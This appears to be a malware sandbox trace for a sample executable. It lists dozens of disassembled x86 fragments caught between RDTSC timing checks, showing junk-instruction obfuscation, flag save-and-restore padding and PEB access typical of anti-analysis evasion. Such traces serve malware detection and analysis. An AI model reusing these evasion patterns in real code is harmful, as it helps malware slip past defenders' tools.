Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: A9FD3B second address: A9FD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA0357 second address: 4DA035B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA035B second address: 4DA036C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA036C second address: 4DA024D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call dword ptr [7721188Ch] 0x0000000f mov edi, edi 0x00000011 push ebp 0x00000012 mov ebp, esp 0x00000014 push ecx 0x00000015 mov ecx, dword ptr [7FFE0004h] 0x0000001b mov dword ptr [ebp-04h], ecx 0x0000001e cmp ecx, 01000000h 0x00000024 jc 00007F7F91571355h 0x0000002a mov eax, 7FFE0320h 0x0000002f mov eax, dword ptr [eax] 0x00000031 mul ecx 0x00000033 shrd eax, edx, 00000018h 0x00000037 mov esp, ebp 0x00000039 pop ebp 0x0000003a ret 0x0000003b pushad 0x0000003c mov esi, 73BD3343h 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 pushad 0x00000045 popad 0x00000046 popad 0x00000047 popad 0x00000048 pop ecx 0x00000049 pushad 0x0000004a mov bh, cl 0x0000004c popad 0x0000004d ret 0x0000004e nop 0x0000004f xor esi, eax 0x00000051 lea eax, dword ptr [ebp-10h] 0x00000054 push eax 0x00000055 call 00007F7F95EDC519h 0x0000005a mov edi, edi 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f mov cl, 1Eh 0x00000061 jmp 00007F7F9153F883h 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA024D second address: 4DA027A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7F91348E2Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA027A second address: 4DA02A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7F9153F883h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA02A7 second address: 4DA02AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA02AD second address: 4DA02BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F9153F87Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA02BC second address: 4DA02C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA02C0 second address: 4DA02FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F7F9153F885h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F7F9153F87Ah 0x00000019 sub ax, EB58h 0x0000001e jmp 00007F7F9153F87Bh 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA02FF second address: 4DA0329 instructions: 0x00000000 rdtsc 0x00000002 mov ax, A80Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F7F91348E34h 0x0000000d mov esi, 27B2DF91h 0x00000012 pop eax 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA0329 second address: 4DA032D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA032D second address: 4DA0333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5001E second address: 4D50022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50022 second address: 4D50028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50028 second address: 4D50098 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7F9153F87Ch 0x00000009 jmp 00007F7F9153F885h 0x0000000e popfd 0x0000000f mov esi, 2B0265D7h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F7F9153F883h 0x0000001f jmp 00007F7F9153F883h 0x00000024 popfd 0x00000025 mov dx, cx 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F7F9153F881h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50098 second address: 4D5009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5009E second address: 4D500A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D500A2 second address: 4D500A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D500A6 second address: 4D500C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov eax, ebx 0x0000000d mov cx, bx 0x00000010 popad 0x00000011 mov eax, dword ptr fs:[00000030h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov dx, ax 0x0000001d mov edi, ecx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D500C6 second address: 4D50100 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c jmp 00007F7F91348E2Eh 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F7F91348E30h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50100 second address: 4D50104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50104 second address: 4D5010A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5010A second address: 4D50168 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7F9153F885h 0x00000009 sub esi, 70025AE6h 0x0000000f jmp 00007F7F9153F881h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F7F9153F880h 0x0000001b sbb ecx, 54113688h 0x00000021 jmp 00007F7F9153F87Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a xchg eax, ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50168 second address: 4D5016C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5016C second address: 4D50187 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F887h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50187 second address: 4D501F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, D18Ah 0x00000007 pushfd 0x00000008 jmp 00007F7F91348E2Bh 0x0000000d sbb cx, C02Eh 0x00000012 jmp 00007F7F91348E39h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebx, dword ptr [eax+10h] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F7F91348E33h 0x00000027 sub ch, 0000003Eh 0x0000002a jmp 00007F7F91348E39h 0x0000002f popfd 0x00000030 movzx esi, bx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D501F7 second address: 4D501FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D501FD second address: 4D5021F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7F91348E37h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5021F second address: 4D502AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F7F9153F887h 0x00000011 or al, 0000000Eh 0x00000014 jmp 00007F7F9153F889h 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007F7F9153F880h 0x00000020 sub eax, 5AAF8988h 0x00000026 jmp 00007F7F9153F87Bh 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F7F9153F885h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D502AF second address: 4D50313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, E932h 0x00000007 mov ebx, 7351667Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov esi, dword ptr [772406ECh] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F7F91348E2Eh 0x0000001e adc ecx, 234DFE48h 0x00000024 jmp 00007F7F91348E2Bh 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007F7F91348E38h 0x00000030 adc si, 40A8h 0x00000035 jmp 00007F7F91348E2Bh 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50313 second address: 4D5034E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F7F9153F87Eh 0x00000010 jne 00007F7F9154064Fh 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push ebx 0x0000001c pop ecx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5034E second address: 4D50354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50354 second address: 4D50358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50358 second address: 4D5039B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007F7F91348E2Ah 0x0000000e push eax 0x0000000f jmp 00007F7F91348E2Bh 0x00000014 xchg eax, edi 0x00000015 pushad 0x00000016 push ecx 0x00000017 mov ebx, 1815B786h 0x0000001c pop ebx 0x0000001d movzx esi, dx 0x00000020 popad 0x00000021 call dword ptr [77210B60h] 0x00000027 mov eax, 766BE5E0h 0x0000002c ret 0x0000002d pushad 0x0000002e mov edx, 09A412F8h 0x00000033 mov dh, 66h 0x00000035 popad 0x00000036 push 00000044h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov ah, 56h 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D504E6 second address: 4D504EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D504EC second address: 4D5055C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F7F91348E2Bh 0x0000000f je 00007F80037B7FCDh 0x00000015 pushad 0x00000016 mov al, 49h 0x00000018 mov ecx, ebx 0x0000001a popad 0x0000001b mov eax, 00000000h 0x00000020 jmp 00007F7F91348E38h 0x00000025 mov dword ptr [esi], edi 0x00000027 pushad 0x00000028 push esi 0x00000029 mov bx, 1F30h 0x0000002d pop edx 0x0000002e popad 0x0000002f mov dword ptr [esi+04h], eax 0x00000032 jmp 00007F7F91348E2Bh 0x00000037 mov dword ptr [esi+08h], eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F7F91348E35h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5055C second address: 4D5059E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+0Ch], eax 0x0000000c jmp 00007F7F9153F87Eh 0x00000011 mov eax, dword ptr [ebx+4Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F7F9153F887h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5059E second address: 4D505EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+10h], eax 0x0000000c jmp 00007F7F91348E2Eh 0x00000011 mov eax, dword ptr [ebx+50h] 0x00000014 jmp 00007F7F91348E30h 0x00000019 mov dword ptr [esi+14h], eax 0x0000001c pushad 0x0000001d mov ax, EA0Dh 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D506F8 second address: 4D5075C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 725Eh 0x00000007 pushfd 0x00000008 jmp 00007F7F9153F87Fh 0x0000000d adc ch, 0000000Eh 0x00000010 jmp 00007F7F9153F889h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr [ebx+64h] 0x0000001c jmp 00007F7F9153F87Eh 0x00000021 mov dword ptr [esi+28h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F7F9153F887h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5075C second address: 4D50791 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+68h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov eax, edi 0x00000011 jmp 00007F7F91348E2Fh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50791 second address: 4D507BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+2Ch], eax 0x0000000c pushad 0x0000000d mov eax, 372F9A43h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D507BA second address: 4D5081C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F7F91348E34h 0x0000000a sub ax, 7F08h 0x0000000f jmp 00007F7F91348E2Bh 0x00000014 popfd 0x00000015 popad 0x00000016 popad 0x00000017 mov ax, word ptr [ebx+6Ch] 0x0000001b pushad 0x0000001c mov ax, 869Bh 0x00000020 pushfd 0x00000021 jmp 00007F7F91348E30h 0x00000026 sbb eax, 3C202168h 0x0000002c jmp 00007F7F91348E2Bh 0x00000031 popfd 0x00000032 popad 0x00000033 mov word ptr [esi+30h], ax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5081C second address: 4D5084A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F7F9153F881h 0x0000000a adc si, E386h 0x0000000f jmp 00007F7F9153F881h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5084A second address: 4D50851 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D509BB second address: 4D509BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D509BF second address: 4D509C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D509C5 second address: 4D509E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F888h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000001h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D509E9 second address: 4D509ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D509ED second address: 4D509F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D509F3 second address: 4D50A12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50A12 second address: 4D50A18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50A18 second address: 4D50A41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7F91348E2Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50A41 second address: 4D50A58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx ecx, bx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50A58 second address: 4D50A7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50A7D second address: 4D50A83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50A83 second address: 4D50A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50A89 second address: 4D50AB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7F9153F887h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50AB7 second address: 4D50AE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, cl 0x0000000f mov edi, 708222CAh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50B72 second address: 4D50B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50B76 second address: 4D50B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50B7C second address: 4D50B96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F9153F886h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50B96 second address: 4D50B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50B9A second address: 4D50BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F80039AE397h 0x0000000e pushad 0x0000000f jmp 00007F7F9153F888h 0x00000014 popad 0x00000015 mov eax, dword ptr [ebp-0Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F7F9153F87Dh 0x00000021 sbb esi, 11370486h 0x00000027 jmp 00007F7F9153F881h 0x0000002c popfd 0x0000002d movzx ecx, di 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50BF2 second address: 4D50CC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F7F91348E2Ch 0x00000014 or ecx, 48717258h 0x0000001a jmp 00007F7F91348E2Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F7F91348E38h 0x00000026 add ecx, 1614FCB8h 0x0000002c jmp 00007F7F91348E2Bh 0x00000031 popfd 0x00000032 popad 0x00000033 pushfd 0x00000034 jmp 00007F7F91348E38h 0x00000039 sbb eax, 798D3718h 0x0000003f jmp 00007F7F91348E2Bh 0x00000044 popfd 0x00000045 popad 0x00000046 lea eax, dword ptr [ebx+78h] 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007F7F91348E34h 0x00000050 xor eax, 1AF22178h 0x00000056 jmp 00007F7F91348E2Bh 0x0000005b popfd 0x0000005c mov ebx, eax 0x0000005e popad 0x0000005f push 00000001h 0x00000061 jmp 00007F7F91348E32h 0x00000066 nop 0x00000067 pushad 0x00000068 movzx esi, dx 0x0000006b push eax 0x0000006c push edx 0x0000006d push edi 0x0000006e pop esi 0x0000006f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50CC7 second address: 4D50CE4 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F7F9153F87Eh 0x0000000d nop 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 movzx eax, dx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50CE4 second address: 4D50D01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edx, 0042DE5Ah 0x0000000b popad 0x0000000c lea eax, dword ptr [ebp-08h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7F91348E2Ch 0x00000016 rdtsc
